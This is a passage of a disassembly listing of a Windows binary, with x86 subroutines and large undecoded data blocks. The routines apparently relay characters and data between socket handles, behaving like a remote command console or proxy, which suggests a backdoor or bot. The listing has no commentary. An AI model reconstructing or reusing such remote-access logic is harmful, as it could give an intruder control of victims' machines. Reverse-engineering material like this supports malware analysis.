		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_4119F1


loc_411A1B:				; CODE XREF: sub_4119B7+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4C9354
		test	eax, eax
		jle	short loc_411A48
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_4119E0
; ---------------------------------------------------------------------------


loc_411A48:				; CODE XREF: sub_4119B7+2Dj
					; sub_4119B7+79j
		mov	esi, dword_42709C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_411A64
		call	esi
		push	eax
		push	offset dword_434E7C
		call	sub_415D62
		pop	ecx
		pop	ecx


loc_411A64:				; CODE XREF: sub_4119B7+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A69	proc near		; DATA XREF: sub_411694+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411A82:				; CODE XREF: sub_411A69+39j
					; sub_411A69+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4C931C
		test	eax, eax
		jle	loc_411B87
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AA4
		dec	[ebp+var_10]
		jmp	short loc_411A82
; ---------------------------------------------------------------------------


loc_411AA4:				; CODE XREF: sub_411A69+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411B67
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B14
		cmp	al, 7Fh
		jz	short loc_411B14
		cmp	al, 3
		jnz	short loc_411ACF
		push	ebx
		push	ebx
		nop
		call	near ptr 2790000h
		jmp	short loc_411B3B
; ---------------------------------------------------------------------------


loc_411ACF:				; CODE XREF: sub_411A69+5Aj
		cmp	al, 15h
		jnz	short loc_411AF1
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B27
; ---------------------------------------------------------------------------


loc_411AF1:				; CODE XREF: sub_411A69+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B28
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B27
; ---------------------------------------------------------------------------


loc_411B14:				; CODE XREF: sub_411A69+52j
					; sub_411A69+56j
		cmp	esi, ebx
		jbe	short loc_411B3E
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B27:				; CODE XREF: sub_411A69+86j
					; sub_411A69+A9j
		pop	ecx


loc_411B28:				; CODE XREF: sub_411A69+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4C9354
		test	eax, eax
		jle	short loc_411B87


loc_411B3B:				; CODE XREF: sub_411A69+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B3E:				; CODE XREF: sub_411A69+ADj
		cmp	al, 0Dh
		jnz	loc_411A82
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_411B87
		xor	esi, esi
		jmp	loc_411A82
; ---------------------------------------------------------------------------


loc_411B67:				; CODE XREF: sub_411A69+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411B78
		mov	[ebp+var_C], 1
		jmp	loc_411A82
; ---------------------------------------------------------------------------


loc_411B78:				; CODE XREF: sub_411A69+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411A82
; ---------------------------------------------------------------------------


loc_411B87:				; CODE XREF: sub_411A69+2Bj
					; sub_411A69+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411A69	endp

; ---------------------------------------------------------------------------
dword_411B8C	dd 81EC8B55h, 2D4ECh, 8458B00h,	6A575653h, 5BF08B10h, 0FF2CBD8Dh
					; DATA XREF: sub_401AC7+2BD4o
		dd 2C6AFFFFh, 59FC5D89h, 16AA5F3h, 895FF633h, 0A8B8h, 458D5300h
		dd 0E85056ECh, 0A14Ch, 660CC483h, 2EC45C7h, 0C075FF00h
		dd 930415FFh, 66A004Ch,	66026A57h, 89EE4589h, 15FFF075h
		dd 4C9384h, 458BF88Bh, 34C069C4h, 53000002h, 0C24CB889h
		dd 458D0043h, 0FF5750ECh, 4C933015h, 0FC08500h,	12185h
		dd 570A6A00h, 932C15FFh, 0C085004Ch, 110850Fh, 75FF0000h
		dd 2CB5FFC0h, 0E8FFFFFFh, 0FFFF8DCEh, 858D5059h, 0FFFFFD2Ch
		dd 42BC9868h, 0C7E85000h, 830000A3h, 753910C4h,	562075D0h
		dd 0FD2C858Dh, 75FFFFFFh, 858D50CCh, 0FFFFFF30h, 2CB5FF50h
		dd 0E8FFFFFFh, 0FFFF7BFEh, 8D14C483h, 0FFFD2C85h, 7BE850FFh
		dd 59000040h, 50FC458Dh, 50DC458Dh, 9815FF57h, 0FF004C93h
		dd 0D88BC475h, 0DE45B70Fh, 0D8758950h, 0FFE075FFh, 4C939015h
		dd 858D5000h, 0FFFFFD2Ch, 434F2868h, 5BE85000h,	530000A3h
		dd 0FD2C858Dh, 196AFFFFh, 96F3E850h, 4589FFFFh,	34C069C8h
		dd 8B000002h, 0C483C44Dh, 44888920h, 8D0043C2h,	8D500845h
		dd 0FFFF2C85h, 685056FFh, 411D91h, 19E85656h, 900226E3h
		dd 69C84D8Bh, 234C9h, 89C63B00h, 43C25481h, 39137400h
		dd 850FD875h, 0FFFFFF63h, 0E890056Ah, 225F1D5h,	0E6E8EDEBh
		dd 900226EAh, 2C858D50h, 68FFFFFDh, 434EECh, 0A2E0E850h
		dd 0C4830000h, 0FF39E90Ch, 0FF57FFFFh, 4C939C15h, 0C075FF00h
		dd 0FD2C858Dh, 0B868FFFFh, 5000434Eh, 0A2BDE8h,	0CC48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 7AF4E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 3F71E8h, 0C475FF00h, 0FF9944E8h, 565959FFh
		dd 0E272E890h, 5E5F022Ch, 0EC8B555Bh, 5D4EC81h,	458B0000h
		dd 57565308h, 0F08B2C6Ah, 38BD8D59h, 0F3FFFFFFh, 0D4758BA5h
		dd 7589016Ah, 34F66908h, 5F000002h, 0C24CB68Dh,	0B8890043h
		dd 0ACh, 68BDB33h, 5F845C7h, 89000000h,	0FFFA3085h, 0F8458DFFh
		dd 858D5350h, 0FFFFFA2Ch, 89535053h, 0BD89FC5Dh, 0FFFFFA2Ch
		dd 92EC15FFh, 0C085004Ch, 36FF1875h, 939C15FFh,	75FF004Ch
		dd 98BFE808h, 5359FFFFh, 0E1EEE890h, 8D53022Ch,	0FFFB3085h
		dd 40868FFh, 0FF500000h, 1C15FF36h, 85004C93h, 0FF187FC0h
		dd 9C15FF36h, 0FF004C93h, 8EE80875h, 59FFFF98h,	0BDE89053h
		dd 80022CE1h, 0FFFB30BDh, 850F04FFh, 1EDh, 0FB31BD80h
		dd 0F01FFFFh, 1E085h, 0BC5D3800h, 458D7774h, 858D50BCh
		dd 0FFFFFB38h, 0A96EE850h, 85590000h, 617459C0h, 50BC458Dh
		dd 0FB38858Dh, 6850FFFFh, 434FF0h, 3ED5E8h, 4006800h, 858D0000h
		dd 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85DFFFFh
		dd 9E64h, 8D18C483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h
		dd 4C935415h, 0FF36FF00h, 4C939C15h, 875FF00h, 0FF97F8E8h
		dd 905359FFh, 2CE127E8h, 8D106A02h, 5053E845h, 9E2BE8h
		dd 858B6600h, 0FFFFFB32h, 660CC483h, 8BEA4589h,	0FFFB3485h
		dd 57066AFFh, 0C766026Ah, 2E845h, 0FFEC4589h, 4C938415h
		dd 83F88B00h, 5D75FFFFh, 929815FFh, 6850004Ch, 434FB0h
		dd 3E3DE8h, 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h
		dd 0FFFFFB30h, 0FB3185C6h, 0E85BFFFFh, 9DCCh, 8D14C483h
		dd 0FFFB3085h, 86A53FFh, 0FF36FF50h, 4C935415h,	0FF36FF00h
		dd 4C939C15h, 875FF00h,	0FF9760E8h, 0E85359FFh,	22CE090h
		dd 0E8458D90h, 5750106Ah, 92AC15FFh, 0F883004Ch, 0FF5D75FFh
		dd 4C929815h, 6C685000h, 0E800434Fh, 3DCEh, 40068h, 38858D00h
		dd 53FFFFFBh, 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 5DE85BFFh
		dd 8300009Dh, 858D14C4h, 0FFFFFB30h, 50086A53h,	15FF36FFh
		dd 4C9354h, 15FF36FFh, 4C939Ch,	0E80875FFh, 0FFFF96F1h
		dd 0E8905359h, 22CE020h, 40068h, 38858D00h, 53FFFFFBh
		dd 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 11E85AFFh, 8300009Dh
		dd 858D0CC4h, 0FFFFFB30h, 50086A53h, 15FF36FFh,	4C9354h
		dd 0E85736FFh, 39h, 0FF575959h,	4C939C15h, 0FF36FF00h
		dd 4C939C15h, 875FF00h,	0FF9694E8h, 905359FFh, 2CDFC3E8h
		dd 0FF36FF02h, 4C939C15h, 875FF00h, 0FF967CE8h,	0E85359FFh
		dd 22CDFACh
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_41206B:				; CODE XREF: ___:0041211Aj
					; ___:0041214Aj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_412083:				; CODE XREF: ___:00412091j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_412093
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_412083


loc_412093:				; CODE XREF: ___:00412088j
		cmp	ecx, 1
		jnz	short loc_4120A8
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4120A8:				; CODE XREF: ___:00412096j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4C92EC
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4C91F0
		test	eax, eax
		jz	short loc_412108
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4C931C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412150
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412150


loc_412108:				; CODE XREF: ___:004120DAj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C91F0
		test	eax, eax
		jz	loc_41206B
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C931C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412150
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jnz	loc_41206B


loc_412150:				; CODE XREF: ___:004120EFj
					; ___:00412106j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_412155	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401AC7+20A0o
					; sub_40BD7C+106o
		dd 87CEC81h, 558B0000h,	57565308h, 0DB33016Ah, 0A9B958h
		dd 0F28B0000h, 0FC8CBD8Dh, 6A53FFFFh, 0FFA5F302h, 0FFFE9C85h
		dd 89026AFFh, 4589F045h, 0F84589ECh, 2A08289h, 15FF0000h
		dd 4C9384h, 0FE83F08Bh,	685675FFh, 190h, 25ED38E8h, 9D399002h
		dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7690E8FFh, 0C483FFFFh
		dd 88858D14h, 50FFFFF8h, 3B0DE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF94DDh, 90535959h, 2CDE0BE8h, 0F0458D02h, 0BF50046Ah
		dd 0FFFFh, 5657046Ah, 92E415FFh, 458D004Ch, 50046AECh
		dd 5657FB6Ah, 92E415FFh, 858B004Ch, 0FFFFFE98h,	0C069106Ah
		dd 234h, 4CB08953h, 8D0043C2h, 0E850D445h, 9AD8h, 660CC483h
		dd 2D445C7h, 0A0B5FF00h, 0FFFFFFFEh, 4C930415h,	45896600h
		dd 0D4458DD6h, 5650106Ah, 0FFD85D89h, 4C933015h, 0FFF88300h
		dd 88681975h, 90000013h, 25EC70E8h, 9C8DFF02h, 0FFFFFFFEh
		dd 2FE90875h, 8D000003h, 0FFFC9085h, 906868FFh,	0E8500042h
		dd 99F8h, 59C33B59h, 75FC4589h,	190684Ch, 3EE80000h, 900225ECh
		dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h
		dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF759Eh, 0F888858Dh, 0E850FFFFh
		dd 3A1Eh, 0FE98B5FFh, 0EEE8FFFFh, 83FFFF93h, 0E8531CC4h
		dd 22CDD1Ch, 87D8B90h, 2A09F39h, 840F0000h, 27Dh, 80BFh
		dd 30858D00h, 57FFFFFFh, 45C75053h, 5E4h, 0E845C700h, 1388h
		dd 0F788B589h, 85C7FFFFh, 0FFFFF784h, 1, 99EBE8h, 0CC48300h
		dd 50E4458Dh, 84858D53h, 53FFFFF7h, 15FF5350h, 4C92ECh
		dd 8E0FC085h, 221h, 43B4B8A0h, 88CF8B00h, 0FFFA8885h, 8DC033FFh
		dd 0FFFA89BDh, 0F445C7FFh, 10h,	0AB66ABF3h, 0F4458DAAh
		dd 0C4458D50h, 858D5350h, 0FFFFFF30h, 8068h, 0FF565000h
		dd 4C92DC15h, 0C875FF00h, 0FFF84589h, 4C939015h, 458D5000h
		dd 6FE850B0h, 3800009Ch, 0FFFF309Dh, 0F5959FFh,	1AA85h
		dd 31BD8000h, 1FFFFFFh,	0A3850Fh, 858D0000h, 0FFFFFD94h
		dd 95A2E850h, 53530000h, 0E8FC75FFh, 0B5C4h, 8DFC75FFh
		dd 0FFFA8C85h, 889D88FFh, 0C6FFFFFAh, 0FFFA8985h, 6803FFh
		dd 6A000002h, 9D885001h, 0FFFFFA8Ah, 0FA8B85C6h, 0E801FFFFh
		dd 9668h, 8D20C483h, 4589C44Dh,	4C083F8h, 51F475FFh, 858D5053h
		dd 0FFFFFA88h, 15FF5650h, 4C9368h, 0FF289D39h, 2375FFFFh
		dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h
		dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF7422h, 8D14C483h, 0FFF88885h
		dd 9FE850FFh, 59000038h, 110E9h, 31BD8000h, 4FFFFFFh, 0ED850Fh
		dd 8D8A0000h, 0FFFFFF33h, 0FF32858Ah, 0F980FFFFh, 889D88FFh
		dd 0C6FFFFFAh, 0FFFA8985h, 127503FFh, 0C932C0FEh, 0FA8A8588h
		dd 9D88FFFFh, 0FFFFFA8Bh, 0C1FE0EEBh, 0FA8A8588h, 8D88FFFFh
		dd 0FFFFFA8Bh, 0FC0B60Fh, 0E0C1C9B6h, 0BFC10308h, 200h
		dd 2B09E0C1h, 0FF5053C7h, 0CDE8FC75h, 0FF0000B4h, 858DFC75h
		dd 0FFFFFA8Ch, 50016A57h, 958FE8h, 1CC48300h, 458DF88Bh
		dd 0F87D89C4h, 50F475FFh, 5304478Dh, 88858D50h,	50FFFFFAh
		dd 6815FF56h, 3B004C93h, 8D6E75FBh, 8D50B045h, 0FFF88885h
		dd 503C68FFh, 0E8500043h, 9AFAh, 390CC483h, 0FFFF289Dh
		dd 532375FFh, 0F888858Dh, 0B5FFFFFFh, 0FFFFFF24h, 0A4858D50h
		dd 50FFFFFEh, 0FC8CB5FFh, 2BE8FFFFh, 83FFFF73h,	858D14C4h
		dd 0FFFFF888h, 37A8E850h, 5FF0000h, 4CBE0Ch, 0FF16EB59h
		dd 458DF475h, 6A5350C4h, 50306809h, 0FF560043h,	4C936815h
		dd 0F85D3900h, 0FD778F0Fh, 7D8BFFFFh, 15FF5608h, 4C939Ch
		dd 0E8FC75FFh, 945Bh, 0FE9C8DFFh, 9F39FFFFh, 2A0h, 0FF137559h
		dd 0FFFE98B5h, 912FE8FFh, 5359FFFFh, 0DA5EE890h, 0E868022Ch
		dd 90000003h, 25E934E8h, 0A2E85702h, 5FFFFFFBh,	0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword ptr [ebp+98h], 0
		jz	short loc_41262A
		push	esi
		mov	esi, offset dword_435070


loc_4125D2:				; CODE XREF: ___:00412625j
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412619
		push	esi
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+8]
		push	offset dword_4363DC
		push	200h
		push	eax
		call	sub_41C100
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409862
		add	esp, 28h


loc_412619:				; CODE XREF: ___:004125DFj
		add	esi, 80h
		cmp	esi, offset dword_435C70
		jl	short loc_4125D2
		pop	esi
		jmp	short loc_412661
; ---------------------------------------------------------------------------


loc_41262A:				; CODE XREF: ___:004125CAj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	200h
		push	eax
		call	sub_41C100
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409862
		add	esp, 24h


loc_412661:				; CODE XREF: ___:00412628j
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
byte_412665	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401AC7+736Bo
		dd 920EC81h, 458B0000h,	57565308h, 0F6E0A583h, 6A00FFFFh
		dd 8658326h, 0F08B5900h, 0FF20BD8Dh, 0A5F3FFFFh, 9480C7h
		dd 10000h, 0FFB90000h, 33000000h, 0E4BD8DC0h, 0F3FFFFF6h
		dd 8815FFABh, 8D004C92h, 3C6AB84Dh, 45895051h, 0A015FFF8h
		dd 0BB004C92h, 200h, 0E890086Ah, 225E819h, 928815FFh, 453B004Ch
		dd 61840FF8h, 8D000001h, 3C6AB84Dh, 45895051h, 0A015FFF8h
		dd 83004C92h, 0F00A87Dh, 0CC84h, 20858D00h, 50FFFFFDh
		dd 9263E8h, 59C08500h, 458D7476h, 55E850B8h, 83000092h
		dd 735901F8h, 20858D65h, 50FFFFFDh, 0FB20858Dh,	6468FFFFh
		dd 50004364h, 98DDE8h, 8CEC8100h, 8D000000h, 0B58DB845h
		dd 0FFFFFF20h, 8B59266Ah, 858D50FCh, 0FFFFFB20h, 0E850A5F3h
		dd 0FFFFFE6Eh, 53084589h, 0FD20858Dh, 6AFFFFh, 95B2E850h
		dd 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh, 9DE85000h
		dd 83000095h, 858D0CC4h, 0FFFFFD20h, 91DEE850h,	0C0850000h
		dd 0AD860F59h, 8D000000h, 0E850B845h, 91CCh, 0F59C085h
		dd 9B86h, 20858D00h, 50FFFFFDh,	0FB20858Dh, 6468FFFFh
		dd 50004364h, 9851E8h, 8CEC8100h, 0EB000000h, 0B8458D34h
		dd 919AE850h, 0C0850000h, 14860F59h, 8D000001h,	8D50B845h
		dd 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 43644468h, 1BE85000h
		dd 81000098h, 88ECh, 8D266A00h,	8D59B845h, 0FFFF20B5h
		dd 50FC8BFFh, 0FB20858Dh, 0A5F3FFFFh, 0FDACE850h, 4589FFFFh
		dd 858D5308h, 0FFFFFD20h, 0E850006Ah, 94F0h, 0ACC481h
		dd 858D0000h, 0FFFFFB20h, 50006A53h, 94DBE8h, 0CC48300h
		dd 0A87D83h, 0A1840Fh, 16A0000h, 92D015FFh, 3D66004Ch
		dd 850F8001h, 8Fh, 0FD20858Dh, 0E850FFFFh, 9100h, 7659C085h
		dd 8815FF7Eh, 8D004C92h, 0FFFAE08Dh, 513C6AFFh,	0A015FF50h
		dd 8D004C92h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 43646468h
		dd 73E85000h, 81000097h, 8CECh,	0E0858D00h, 8DFFFFFAh
		dd 0FFFF20B5h, 59266AFFh, 8D50FC8Bh, 0FFFB2085h, 50A5F3FFh
		dd 0FFFD01E8h, 84589FFh, 20858D53h, 6AFFFFFDh, 45E85000h
		dd 81000094h, 0ACC4h, 20858D00h, 53FFFFFBh, 0E850006Ah
		dd 9430h, 0C70CC483h, 5C74FC45h, 106A0043h, 91D815FFh
		dd 0BF0F004Ch, 0FC458BF0h, 57FC788Bh, 92D015FFh, 0C4F6004Ch
		dd 6A7B7480h, 0D815FF14h, 66004C91h, 1F74C085h,	7EFFFE83h
		dd 40FF831Ah, 0FF83157Eh, 0C7107D5Bh, 0F6E0BD84h, 1FFFFh
		dd 0BDE90000h, 6A000001h, 0D815FF14h, 66004C91h, 1E74C085h
		dd 2E7DF685h, 7E40FF83h, 5BFF8315h, 84C7107Dh, 0FFF6E0BDh
		dd 2FFh, 192E900h, 0F6850000h, 84C7107Dh, 0FFF6E0BDh, 3FFh
		dd 17EE900h, 84C70000h,	0FFF6E0BDh, 4FFh, 16EE900h, 0B48B0000h
		dd 0FFF6E0BDh, 0BD848DFFh, 0FFFFF6E0h, 840FF685h, 158h
		dd 8D002083h, 0FFFD2085h, 8FF83FFh, 0E8137550h,	8FB4h
		dd 1F05A480h, 0FFFFFDh,	136E959h, 0A1E80000h, 3D00008Fh
		dd 1B9h, 0FF397659h, 4C928815h,	0B84D8D00h, 50513C6Ah
		dd 92A015FFh, 7D83004Ch, 0E7400A8h, 0FD20858Dh,	6850FFFFh
		dd 43642Ch, 458D55EBh, 858D50B8h, 0FFFFFD20h, 64106850h
		dd 64EB0043h, 0F0DFF83h, 0B985h, 20858D00h, 50FFFFFDh
		dd 8F4BE8h, 59C08500h, 0D2840Fh, 15FF0000h, 4C9288h, 6AB84D8Dh
		dd 0FF50513Ch, 4C92A015h, 0A87D8300h, 8D1D7400h, 0FFFD2085h
		dd 0FC6850FFh, 8D004363h, 0FFFB2085h, 0B7E850FFh, 83000095h
		dd 1FEB0CC4h, 50B8458Dh, 0FD20858Dh, 6850FFFFh,	4363E4h
		dd 0FB20858Dh, 0E850FFFFh, 9596h, 8110C483h, 98ECh, 0B8458D00h
		dd 0FF20B58Dh, 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh
		dd 0FB24E850h, 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah
		dd 9268h, 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 9253E8h
		dd 0CC48300h, 0FE832EEBh, 83147401h, 0F7403FEh,	7402FE83h
		dd 4FE8305h, 75FF1A75h,	8B07EBFCh, 0C083FC45h, 858D5007h
		dd 0FFFFFD20h, 9B42E850h, 59590000h, 14FC4583h,	0A4FC7D81h
		dd 0F004363h, 0FFFDE98Ch, 87D83FFh, 0B5840F00h,	0FFFFFFFBh
		dd 0FFFF24B5h, 8BB3E8FFh, 6A59FFFFh, 0D4E2E800h
		db 2Ch,	2, 90h
byte_412B1F	db 55h			; DATA XREF: sub_401AC7+4151o
		dd 0B4B8EC8Bh, 0E8000102h, 9774h, 5608558Bh, 58016A57h
		dd 256AF28Bh, 0FF4CBD8Dh, 8959FFFFh, 0A5F3F845h, 908289h
		dd 0F6330000h, 458D106Ah, 0E85056E4h, 91B8h, 660CC483h
		dd 2E445C7h, 15FF5600h,	4C9304h, 0FF4CB5FFh, 8966FFFFh
		dd 83E8E645h, 59FFFF7Eh, 4415FF50h, 56004C93h, 26A036Ah
		dd 0FFE84589h, 4C938415h, 83F88B00h, 7D89FFFFh,	0FF5D75FCh
		dd 4C929815h, 858D5000h, 0FFFFFD4Ch, 436DC468h,	57E85000h
		dd 83000094h, 75390CC4h, 562075D8h, 0FD4C858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF6C8Eh
		dd 8D14C483h, 0FFFD4C85h, 0BE850FFh, 0FF000031h, 0DEE8D075h
		dd 59FFFF8Ah, 0E8905659h, 22CD40Ch, 6AD0458Bh, 34C06910h
		dd 89000002h, 43C24CB8h, 0E4458D00h, 15FF5750h,	4C9330h
		dd 75FFF883h, 9815FF64h, 50004C92h, 0FD4C858Dh,	9868FFFFh
		dd 5000436Dh, 93D9E8h, 0CC48300h, 75D87539h, 858D5620h
		dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h
		dd 6C10E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh,	308DE8h
		dd 0FF575900h, 4C939C15h, 0D075FF00h, 0FF8A58E8h, 905659FFh
		dd 2CD387E8h, 458D5602h, 565056E0h, 0F8458D56h,	6850046Ah
		dd 98000001h, 0B015FF57h, 83004C92h, 6475FFF8h,	929815FFh
		dd 8D50004Ch, 0FFFD4C85h, 6D6868FFh, 0E8500043h, 9356h
		dd 390CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh,	8D50D475h
		dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF6B8DE8h, 14C483FFh
		dd 0FD4C858Dh, 0E850FFFFh, 300Ah, 15FF5759h, 4C939Ch, 0E8D075FFh
		dd 0FFFF89D5h, 0E8905659h, 22CD304h, 6480BB53h,	0FFBF0043h
		dd 8D0000FFh, 0FEFD4C85h, 505657FFh, 8FFBE8h, 0CC48300h
		dd 0FD4C858Dh, 5756FFFEh, 0FC75FF50h, 931C15FFh, 0F883004Ch
		dd 0FC840FFFh, 80000000h, 0FEFD55BDh, 0C67506FFh, 0FD58858Bh
		dd 0BD80FFFEh, 0FFFEFD6Dh, 0F4458918h, 858DB475h, 0FFFEFD74h
		dd 436D5C68h, 21E85000h, 59000093h, 7559C085h, 74858D9Dh
		dd 68FFFEFDh, 436D4Ch, 930AE850h, 85590000h, 867559C0h
		dd 0FF33C38Bh, 840FC085h, 0FFFFFF7Ah, 50085D89h, 0FD74858Dh
		dd 0E850FFFEh, 92E8h, 59C08559h, 83470F75h, 8B180845h
		dd 0E3750845h, 0FFFF55E9h, 74858DFFh, 50FFFEFDh, 0FD60B5FFh
		dd 15FFFFFEh, 4C9234h, 50C0B70Fh, 0FFF475FFh, 4C939015h
		dd 48D5000h, 0C5048B7Fh, 436494h, 708534FFh, 8D004364h
		dd 0FFFD4C85h, 6D1868FFh, 680043h, 50000002h, 930BE8h
		dd 1CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6A48E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 2EC5E8h, 0D3E95900h, 0FFFFFFFEh
		dd 4C929815h, 0EC685000h, 8D00436Ch, 0FFFD4C85h, 20068FFh
		dd 0E8500000h, 92B4h, 3910C483h, 755BD875h, 858D5620h
		dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h
		dd 69F0E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh,	2E6DE8h
		dd 75FF5900h, 9C15FFFCh, 0FF004C93h, 36E8D075h,	59FFFF88h
		dd 0D166E856h
; ---------------------------------------------------------------------------
		sub	al, 2
		nop

; =============== S U B	R O U T	I N E =======================================



sub_412E9B	proc near		; CODE XREF: sub_4131AA+213p
					; sub_4131AA+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CC074, eax
		mov	eax, offset dword_4CC074
